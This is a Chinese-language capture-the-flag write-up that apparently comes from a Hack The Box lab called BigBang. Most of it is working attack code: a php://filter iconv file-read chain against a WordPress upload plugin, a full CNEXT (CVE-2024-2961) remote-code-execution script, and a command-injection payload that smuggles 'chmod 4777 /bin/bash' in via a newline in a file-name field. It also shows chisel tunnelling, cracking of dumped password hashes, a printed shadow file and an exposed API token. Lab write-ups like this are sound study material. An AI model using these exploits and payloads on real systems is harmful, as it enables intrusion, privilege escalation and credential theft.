HTB-bigbang

admin 2025年2月4日13:38:13评论2 views字数 26888阅读89分37秒阅读模式
HTB-bigbang
扫描靶机
nmap -A -v -T4 10.10.11.52
HTB-bigbang
可以看到得到一个地址,写到hosts,然后打开看看
HTB-bigbang
页面没什么可以东西,跑一下目录
HTB-bigbang
可以看到扫到的目录是含有wp的,盲猜就是wordpress的,使用wpscan工具进行扫描,需要搭配官网的api token链接漏洞库扫描更有效
wpscan --url http://blog.bigbang.htb/ -e ap --api-token Ds1esN9RXIZkLmpAsHo13mMLgTPlVYxJwaInRyAEY3o
HTB-bigbang
HTB-bigbang
可以找到这个漏洞
https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f/
HTB-bigbang
这个漏洞利用了 libc 二进制文件中 iconv 函数中的一个旧漏洞
HTB-bigbang
在主页最底下可以看到一个表单,先上传一个图片,然后抓包
HTB-bigbang
可以参考这篇文章验证改漏洞
https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8
HTB-bigbang
查看该漏洞,可以上传图像格式的文件,但是不能上传网页格式的文件,而且能直接看到刚刚上传的文件,其中可以参考这个poc利用该漏洞
https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

https://github.com/ambionics/cnext-exploits

可以尝试使用转换编码的方式,让这个插件产生溢出,先验证一下
HTB-bigbang
HTB-bigbang
HTB-bigbang
HTB-bigbang
然后本地开启py服务器,给包http://blog.bigbang.htb/wp-admin/admin-ajax.php地址
HTB-bigbang
HTB-bigbang
可以看到成功生成了一个图片文件,用bp验证一下图片内容是否跟evil.phar一样
HTB-bigbang
然后将url参数后面修改成这个,重新给包,会得到一个新的图像
HTB-bigbang
curl'http://blog.bigbang.htb/wp-admin/admin-ajax.php'-vH'Content-Type: application/x-www-form-urlencoded'-d"action=upload_image_from_url&id=1&accepted_files=image/gif&url=php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd"
HTB-bigbang
HTB-bigbang
成功使用bp验证,可以根据这个LFI漏洞写一个脚本
import requestsimport sysimport argparseimport timedef send_packet(file_to_read, url, headers, data_template, debug):    """发送一次 HTTP 请求,并打印返回的状态和数据"""    data = data_template.format(file_to_read=file_to_read)    start_time = time.time()    try:        response = requests.post(url, headers=headers, data=data, timeout=10)        end_time = time.time()        latency = round((end_time - start_time) * 1000, 2)  # 计算延迟(毫秒)        # 获取返回数据        status_code = response.status_code        response_size = len(response.content)        print(f"[{time.strftime('%H:%M:%S')}] 发包成功 | 状态码: {status_code} | 数据大小: {response_size} 字节 | 延迟: {latency} ms")        if response.status_code == 200:            result = response.json()            if result.get("status") == "OK":                file_url = result.get("response")                if file_url.endswith(".png"):                    print(f"[INFO] 获取到文件地址: {file_url}")                    file_response = requests.get(file_url, timeout=10)                    if file_response.status_code == 200:                        print("[INFO] 文件内容:")                        print(file_response.text[:500])  # 只显示前500字符,避免过长                    else:                        print(f"[ERROR] 读取文件失败,状态码: {file_response.status_code}")                else:                    print(f"[WARN] 返回的URL不是PNG格式: {file_url}")            else:                print("[ERROR] 响应状态不是 OK")        else:            print(f"[ERROR] 请求失败,状态码: {response.status_code}")        # Debug 模式,显示完整请求/响应内容        if debug:            print("n[DEBUG] 请求数据:")            print(data)            print("n[DEBUG] 响应内容:")            print(response.text)    except requests.RequestException as e:        print(f"[ERROR] 请求异常: {e}")if __name__ == "__main__":    parser = argparse.ArgumentParser(description="发送一次 HTTP 请求并接收服务器返回数据")    parser.add_argument("file", help="要读取的远程文件路径")    parser.add_argument("--debug", action="store_true", help="启用调试模式,显示完整数据包")    args = parser.parse_args()    file_to_read = args.file    debug = args.debug    url = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"    headers = {        "Content-Type": "application/x-www-form-urlencoded",    }    data_template = (        "action=upload_image_from_url&id=1&accepted_files=image/gif&url="        "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={file_to_read}"    )    send_packet(file_to_read, url, headers, data_template, debug)
HTB-bigbang
可以看到成功读取到了passwd了,可以直接使用这个脚本读取wp-config,但是没有目录信息,然后我们需要提取 /proc/self/maps,解析 PHP 堆地址和 libc 路径,下载 libc.so.6 获取 system() 地址,并修改本地 ELF 路径以匹配安装位置。
HTB-bigbang
结合这个LFI脚本,搞一个反弹脚本,前提将libc.so.6搞到本地
from __future__ import annotationsimport base64import urllib.parseimport zlibimport urllibfrom dataclasses import dataclassfrom requests.exceptions import ConnectionError, ChunkedEncodingErrorfrom pwn import *from ten import *HEAP_SIZE = 2 * 1024 * 1024BUG = "劄".encode("utf-8")class Remote:    def __init__(self, url: str) -> None:        self.url = url        self.session = Session()    def send(self, path: str) -> Response:        """Sends given `path` to the HTTP server. Returns the response.        """        data = {'action' : 'upload_image_from_url',                'url' : urllib.parse.quote_plus('php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource='+path),                'id' : '1',                'accepted_files' : 'image/gif'}        return self.session.post(self.url, data=data)    def send_exploit(self, payload: bytes) -> Response:        """Sends the payload to the server.        """        data = {'action' : 'upload_image_from_url',                'url' : urllib.parse.quote_plus(payload),                'id' : '1',                'accepted_files' : 'image/gif'}        return self.session.post(self.url, data=data)    def download(self, path: str) -> bytes:        """Returns the contents of a remote file.        """        path = f"php://filter/convert.base64-encode/resource={path}"        file_path = self.send(path).json()['response']        if 'File type' in file_path:            print(file_path)            return b''        response = self.session.get(file_path)        data = response.content[6:]        return data    def data_decode(self, data:bytes)->bytes:        data = data.decode('latin-1')        return base64.decode(data + (4 - len(data) % 4) * '=')@entry@arg("url", "Target URL")@arg("command", "Command to run on the system; limited to 0x140 bytes")@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")@arg("heap", "Address of the main zend_mm_heap structure.")@arg(    "pad",    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "    "operations with this size, increase this. Defaults to 20.",)@dataclassclass Exploit:    """CNEXT exploit: RCE using a file read primitive in PHP."""    url: str    command: str    sleep: int = 1    heap: str = None    pad: int = 20    def __post_init__(self):        self.remote = Remote(self.url)        self.log = logger("EXPLOIT")        self.info = {}        self.heap = self.heap and int(self.heap, 16)    def check_vulnerable(self) -> None:        """Checks whether the target is reachable and properly allows for the various        wrappers and filters that the exploit needs.        """        def safe_download(path: str) -> bytes:            try:                return self.remote.download(path)            except ConnectionError:                failure("Target not [b]reachable[/] ?")        def check_token(text: str, path: str) -> bool:            result = safe_download(path)            return len(set(result).intersection(set(text.encode()))) > 0        text = tf.random.string(50).encode()        base64 = b64(b'GIF89a' + text, misalign=True).decode()        path = f"data:text/plain;base64,{base64}"        result = safe_download(path)        if len(set(result).intersection(set(text))) == 0:            msg_failure("Remote.download did not return the test string")            print("--------------------")            print(f"Expected test string: {text}")            print(f"Got: {result}")            print("--------------------")            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")        msg_info("The [i]data://[/] wrapper works")        text = 'GIF89a' + tf.random.string(50)        base64 = b64(text.encode(), misalign=True).decode()        path = f"php://filter//resource=data:text/plain;base64,{base64}"        if not check_token(text, path):            failure("The [i]php://filter/[/] wrapper does not work")        msg_info("The [i]php://filter/[/] wrapper works")        text = 'GIF89a' + tf.random.string(50)        base64 = b64(compress(text.encode()), misalign=True).decode()        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"        if not check_token(text, path):            failure("The [i]zlib[/] extension is not enabled")        msg_info("The [i]zlib[/] extension is enabled")        msg_success("Exploit preconditions are satisfied")    def get_file(self, path: str) -> bytes:        with msg_status(f"Downloading [i]{path}[/]..."):            return self.remote.download(path)    def get_regions(self) -> list[Region]:        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""        maps = self.remote.data_decode(self.get_file("/proc/self/maps"))        PATTERN = re.compile(            r"^([a-f0-9]+)-([a-f0-9]+)b" r".*" r"s([-rwx]{3}[ps])s" r"(.*)"        )        regions = []        for region in table.split(maps, strip=True):            if match := PATTERN.match(region):                start = int(match.group(1), 16)                stop = int(match.group(2), 16)                permissions = match.group(3)                path = match.group(4)                if "/" in path or "[" in path:                    path = path.rsplit(" ", 1)[-1]                else:                    path = ""                current = Region(start, stop, permissions, path)                regions.append(current)            else:                failure("Unable to parse memory mappings")        self.log.info(f"Got {len(regions)} memory regions")        return regions    def get_symbols_and_addresses(self) -> None:        """Obtains useful symbols and addresses from the file read primitive."""        regions = self.get_regions()        LIBC_FILE = "./libc.so.6"        # PHP's heap        self.info["heap"] = self.heap or self.find_main_heap(regions)        print(f'HEAP address: {hex(self.info["heap"])}')        # Libc        libc = self._get_region(regions, "libc-", "libc.so")        #self.download_file(libc.path, LIBC_FILE)        self.info["libc"] = ELF(LIBC_FILE, checksec=False)        print(f'LIBC address: {hex(libc.start)}')        self.info["libc"].address = libc.start    def _get_region(self, regions: list[Region], *names: str) -> Region:        """Returns the first region whose name matches one of the given names."""        for region in regions:            if any(name in region.path for name in names):                break        else:            failure("Unable to locate region")        return region    def download_file(self, remote_path: str, local_path: str) -> None:        """Downloads `remote_path` to `local_path`"""        data = self.remote.data_decode(self.get_file(remote_path))        Path(local_path).write(data)    def find_main_heap(self, regions: list[Region]) -> Region:        # Any anonymous RW region with a size superior to the base heap size is a        # candidate. The heap is at the bottom of the region.        heaps = [            region.stop - HEAP_SIZE + 0x40            for region in reversed(regions)            if region.permissions == "rw-p"            and region.size >= HEAP_SIZE            and region.stop & (HEAP_SIZE-1) == 0            and region.path in ("", "[anon:zend_alloc]")        ]        if not heaps:            failure("Unable to find PHP's main heap in memory")        first = heaps[0]        if len(heaps) > 1:            heaps = ", ".join(map(hex, heaps))            msg_info(f"Potential heaps: [i]{heaps}[/] (using last one)")        else:            msg_info(f"Using [i]{hex(first)}[/] as heap")        return first    def run(self) -> None:        #self.check_vulnerable()        self.get_symbols_and_addresses()        self.exploit()    def build_exploit_path(self) -> str:        LIBC = self.info["libc"]        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]        ADDR_EFREE = LIBC.symbols["__libc_system"]        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]        ADDR_HEAP = self.info["heap"]        ADDR_FREE_SLOT = ADDR_HEAP + 0x20        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10        CS = 0x100        # Pad needs to stay at size 0x100 at every step        pad_size = CS - 0x18        pad = b"x00" * pad_size        pad = chunked_chunk(pad, len(pad) + 6)        pad = chunked_chunk(pad, len(pad) + 6)        pad = chunked_chunk(pad, len(pad) + 6)        pad = compressed_bucket(pad)        step1_size = 1        step1 = b"x00" * step1_size        step1 = chunked_chunk(step1)        step1 = chunked_chunk(step1)        step1 = chunked_chunk(step1, CS)        step1 = compressed_bucket(step1)        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to        # ISO-2022-CN-EXT. We add a `0n` that makes the 4th and last dechunk "crash"        step2_size = 0x48        step2 = b"x00" * (step2_size + 8)        step2 = chunked_chunk(step2, CS)        step2 = chunked_chunk(step2)        step2 = compressed_bucket(step2)        step2_write_ptr = b"0n".ljust(step2_size, b"x00") + p64(ADDR_FAKE_BIN)        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)        step2_write_ptr = chunked_chunk(step2_write_ptr)        step2_write_ptr = compressed_bucket(step2_write_ptr)        step3_size = CS        step3 = b"x00" * step3_size        assert len(step3) == CS        step3 = chunked_chunk(step3)        step3 = chunked_chunk(step3)        step3 = chunked_chunk(step3)        step3 = compressed_bucket(step3)        step3_overflow = b"x00" * (step3_size - len(BUG)) + BUG        assert len(step3_overflow) == CS        step3_overflow = chunked_chunk(step3_overflow)        step3_overflow = chunked_chunk(step3_overflow)        step3_overflow = chunked_chunk(step3_overflow)        step3_overflow = compressed_bucket(step3_overflow)        step4_size = CS        step4 = b"=00" + b"x00" * (step4_size - 1)        step4 = chunked_chunk(step4)        step4 = chunked_chunk(step4)        step4 = chunked_chunk(step4)        step4 = compressed_bucket(step4)        # This chunk will eventually overwrite mm_heap->free_slot        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values        step4_pwn = ptr_bucket(            0x200000,            0,            # free_slot            0,            0,            ADDR_CUSTOM_HEAP,  # 0x18            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            ADDR_HEAP,  # 0x140            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            0,            size=CS,        )        step4_custom_heap = ptr_bucket(            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18        )        step4_use_custom_heap_size = 0x140        COMMAND = self.command        COMMAND = f"kill -9 $PPID; {COMMAND}"        if self.sleep:            COMMAND = f"sleep {self.sleep}; {COMMAND}"        COMMAND = COMMAND.encode() + b"x00"        assert (            len(COMMAND) <= step4_use_custom_heap_size        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"x00")        step4_use_custom_heap = COMMAND        step4_use_custom_heap = qpe(step4_use_custom_heap)        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)        pages = (            step4 * 3            + step4_pwn            + step4_custom_heap            + step4_use_custom_heap            + step3_overflow            + pad * self.pad            + step1 * 3            + step2_write_ptr            + step2 * 2        )        resource = compress(compress(pages))        resource = b64(resource) #b64(pages)         resource = f"data:text/plain;base64,{resource.decode()}"        filters = [            # Create buckets            "zlib.inflate",            "zlib.inflate",            # Step 0: Setup heap            "dechunk",            "convert.iconv.L1.L1",            # Step 1: Reverse FL order            "dechunk",            "convert.iconv.L1.L1",            # Step 2: Put fake pointer and make FL order back to normal            "dechunk",            "convert.iconv.L1.L1",            # Step 3: Trigger overflow            "dechunk",            "convert.iconv.UTF-8.ISO-2022-CN-EXT",            # Step 4: Allocate at arbitrary address and change zend_mm_heap            "convert.quoted-printable-decode",            "convert.iconv.L1.L1",        ]        filters = "|".join(filters)        path = f"php://filter/read={filters}/resource={resource}"        return path    @inform("Triggering...")    def exploit(self) -> None:        path = self.build_exploit_path()        start = time.time()        try:            msg_print("Sending exploit...")            print(f'PATH: {path}')            self.remote.send_exploit(path)        except (ConnectionError, ChunkedEncodingError):            pass        msg_print()        if not self.sleep:            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")        elif start + self.sleep <= time.time():            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")        else:            # Wrong heap, maybe? If the exploited suggested others, use them!            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")        msg_print()def compress(data) -> bytes:    """Returns data suitable for `zlib.inflate`.    """    # Remove 2-byte header and 4-byte checksum    return zlib.compress(data, 9)[2:-4]def b64(data: bytes, misalign=True) -> bytes:    payload = base64.encode(data)    if not misalign and payload.endswith("="):        raise ValueError(f"Misaligned: {data}")    return payload.encode()def compressed_bucket(data: bytes) -> bytes:    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""    return chunked_chunk(data, 0x8000)def qpe(data: bytes) -> bytes:    """Emulates quoted-printable-encode.    """    return "".join(f"={x:02x}" for x in data).upper().encode()def ptr_bucket(*ptrs, size=None) -> bytes:    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""    if size is not None:        assert len(ptrs) * 8 == size    bucket = b"".join(map(p64, ptrs))    bucket = qpe(bucket)    bucket = chunked_chunk(bucket)    bucket = chunked_chunk(bucket)    bucket = chunked_chunk(bucket)    bucket = compressed_bucket(bucket)    return bucketdef chunked_chunk(data: bytes, size: int = None) -> bytes:    """Constructs a chunked representation of the given chunk. If size is given, the    chunked representation has size `size`.    For instance, `ABCD` with size 10 becomes: `0004nABCDn`.    """    # The caller does not care about the size: let's just add 8, which is more than    # enough    if size is None:        size = len(data) + 8    keep = len(data) + len(b"nn")    size = f"{len(data):x}".rjust(size - keep, "0")    return size.encode() + b"n" + data + b"n"@dataclassclass Region:    """A memory region."""    start: int    stop: int    permissions: str    path: str    @property    def size(self) -> int:        return self.stop - self.startExploit()
HTB-bigbang
成功反弹,在wordpress本地有wp-config,查看一下可以获得数据库账号
HTB-bigbang
HTB-bigbang
得到了数据库账号,主机是在172.17.0.1,将其代理出来,然后登录数据库
./chisel_1.9.1_linux_amd64 client 10.10.14.99:1132 R:3306:172.17.0.1:3306chisel server --reverse --port 1132mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p
HTB-bigbang
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+| ID | user_login | user_pass                          | user_nicename | user_email           | user_url                | user_registered     | user_activation_key | user_status | display_name    |+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+|  1 | root       | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root          | [email protected]     | http://blog.bigbang.htb | 2024-05-31 13:06:58 |                     |           0 | root            ||  3 | shawking   | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking      | [email protected] |                         | 2024-06-01 10:39:55 |                     |           0 | Stephen Hawking |+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+2 rows in set (0.071 sec)
成功拿到了shawking 账号,破解直接登录ssh
HTB-bigbang
HTB-bigbang
成功拿到了user flag,上传linpeas看一下
HTB-bigbang
可以找到/opt/data中的Grafana数据库,跟一个另外的用户developer,查看后台可以看到有个9090端口
HTB-bigbang
将其代理出来并且打开看看
HTB-bigbang
HTB-bigbang
主页面没东西,那就跑一下目录
HTB-bigbang
得到了一个login目录,直接打开发现是没东西的
HTB-bigbang
没有账号,给包也没用,刚刚找到了Grafana数据库,进入他的目录,下载db文件
HTB-bigbang
HTB-bigbang
可以看到有salt加密,使用hashcat破解,可以利用这个工具

https://github.com/iamaldi/grafana2hashcat

HTB-bigbang
hashcat -m 10900 dev.txt --wordlist /home/h-h/rockyou.txtsha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
HTB-bigbang
成功跑出来是bigbang,然后直接登录可以得到一个jwt
curl -X POST -v 127.0.0.1:9090/login -H "Content-Type: application/json" -d '{"username":"developer","password":"bigbang"}'
HTB-bigbang
但是不知道这个jwt是干嘛的,但是可以直接su提权到dev用户
HTB-bigbang
并且找到一个apk文件satellite-app.apk,将其下载下来,然后解包看看
apktool d satellite-app.apk -o satellite_app_decompiled
HTB-bigbang

因为不会java反编译,剩下的交给gpt

  • 目录与文件结构
    • 该目录包含经过反编译的 Dalvik APK 的 smali 字节码文件,即反汇编后的 Java 代码。
    • 其中,smali/com/satellite/bigbang/ 目录存放了应用的主要活动(Activity)代码,如 InteractionActivity.smaliLoginActivity.smaliMainActivity.smaliMoveCommandActivity.smali 和 TakePictureActivity.smali
  • MoveCommandActivity 的分析
    • 如果用户输入未经过适当验证和清理,直接作为命令参数拼接到 JSON 中,可能导致命令注入漏洞。
    • 这种漏洞可能允许攻击者利用恶意构造的输入执行未授权的系统命令。
    • 注册了一个点击监听器(由类 Le/b 实现),当用户点击按钮时,读取 EditText 中的输入。
    • 读取的输入(可能包含数值或命令参数)被解析并封装成 JSON 对象,其中包含 "command": "move" 以及用户输入的数据。
    • 在 onCreate 方法中,该类通过 setContentView 加载布局,并利用 findViewById 获取三个 EditText 控件,用于用户输入。
    • 同时,从 Intent 中获取 access_token(存入字段 q)和 token_expiry_time(存入字段 r)。
    • 初始化与视图绑定
    • 按钮点击与命令构造
    • 潜在漏洞
  • TakePictureActivity 与 q0/b 类的分析
    • 如果文件名字段 output_file 未经过严格验证,攻击者可以构造恶意路径(例如目录遍历 ../../),从而覆盖任意文件或执行其他未授权操作。
    • 同样,未经清洗的命令字符串可能导致命令注入风险,后端在执行时可能会错误地解析包含恶意字符的输入。
    • 请求中包含了身份验证头(Authorization),使用从 MoveCommandActivity 中获取的 access_token。
    • 后端接收到该请求后,可能会根据 JSON 中的 output_file 字段执行相应的操作。
    • 在 TakePictureActivity 中,用户输入(例如文件名的一部分)被用来构造输出文件名,并附加“.png”后缀。
    • 通过异步任务(AsyncTask)发送 HTTP POST 请求到指定的后端接口(http://app.bigbang.htb:9090/command),传输的 JSON 负载中包含了该文件名。
    • 文件命名与图片处理
    • HTTP 请求构造与执行
    • 潜在漏洞

然后就是根据这个漏洞进行利用

  • 漏洞利用流程概述
    • 发送一个 POST 请求到 /command 终端,请求体中包含预定义的命令 JSON(例如:{"command":"move","x":10,"y":20,"z":30})。
    • 请求头中包含 Authorization: Bearer $access_token 用于身份验证。
    • smali 代码中显示该命令由 MoveCommandActivity 处理,服务器成功接受并执行了该命令,证明 JWT 令牌和预定义命令功能正常。
    • 通过向 /login 终端发送 POST 请求(使用 curl 命令)提交用户名和密码(示例中用户名为 developer),服务器返回包含 JWT 的响应。
    • 将返回的令牌导出为环境变量 access_token,以便后续请求中使用。
    • 利用应用中的漏洞对内部主机发起攻击,该主机通过适当的端口转发(例如:http://app.bigbang.htb:9090 或 http://127.0.0.1:9090)可访问。
    • 目标与访问
    • 获取 JWT 令牌
    • 测试预定义命令功能
  • 验证命令注入漏洞
    • 利用 smali 中暴露的漏洞,通过发送一个修改过的命令(例如:{"command": "send_image", "output_file": "/tmp/test"})来测试命令注入。
    • 服务器返回错误信息(如 "Error generating image:"),说明注入漏洞存在,并且可以利用特殊字符(例如 ;&& 或利用换行符 \n 绕过过滤)构造恶意命令。
  • 实现远程代码执行(RCE)
    • 利用上述命令注入原语,构造一个反向 shell 脚本,并通过漏洞在目标系统上执行该脚本。
    • 由于应用程序以 root 权限运行(之前的内部扫描已确认),成功利用漏洞后可以获得一个以 root 权限运行的反向 shell。

可以根据这个利用写一个py脚本

import requestsurl = "http://127.0.0.1:9090/command"headers = {    "Host": "127.0.0.1:9090",    "User-Agent": "curl/8.10.1",    "Accept": "*/*",    "Content-Type": "application/json",    "Authorization": "Bearer TOKEN"}payload = {    "command": "send_image",    "output_file": "foo n chmod 4777 /bin/bash"}response = requests.post(url, headers=headers, json=payload)print("Status Code:", response.status_code)print("Response Body:", response.text)
先生成jwt,然后写到脚本里面,然后运行
HTB-bigbang
root:$y$j9T$vdc1uZNWf6RnjK02atUqF.$0R57rghgtK8gjvwhY9F.6d4HQV34vtwyJTA/ZxDC8mA:19879:0:99999:7:::daemon:*:19579:0:99999:7:::bin:*:19579:0:99999:7:::sys:*:19579:0:99999:7:::sync:*:19579:0:99999:7:::games:*:19579:0:99999:7:::man:*:19579:0:99999:7:::lp:*:19579:0:99999:7:::mail:*:19579:0:99999:7:::news:*:19579:0:99999:7:::uucp:*:19579:0:99999:7:::proxy:*:19579:0:99999:7:::www-data:*:19579:0:99999:7:::backup:*:19579:0:99999:7:::list:*:19579:0:99999:7:::irc:*:19579:0:99999:7:::gnats:*:19579:0:99999:7:::nobody:*:19579:0:99999:7:::_apt:*:19579:0:99999:7:::systemd-network:*:19579:0:99999:7:::systemd-resolve:*:19579:0:99999:7:::messagebus:*:19579:0:99999:7:::systemd-timesync:*:19579:0:99999:7:::pollinate:*:19579:0:99999:7:::sshd:*:19579:0:99999:7:::syslog:*:19579:0:99999:7:::uuidd:*:19579:0:99999:7:::tcpdump:*:19579:0:99999:7:::tss:*:19579:0:99999:7:::landscape:*:19579:0:99999:7:::fwupd-refresh:*:19579:0:99999:7:::usbmux:*:19873:0:99999:7:::george:$6$6HMS33a3ItVgSZpH$jf1Au9xz85Wh1hzu8PcFDM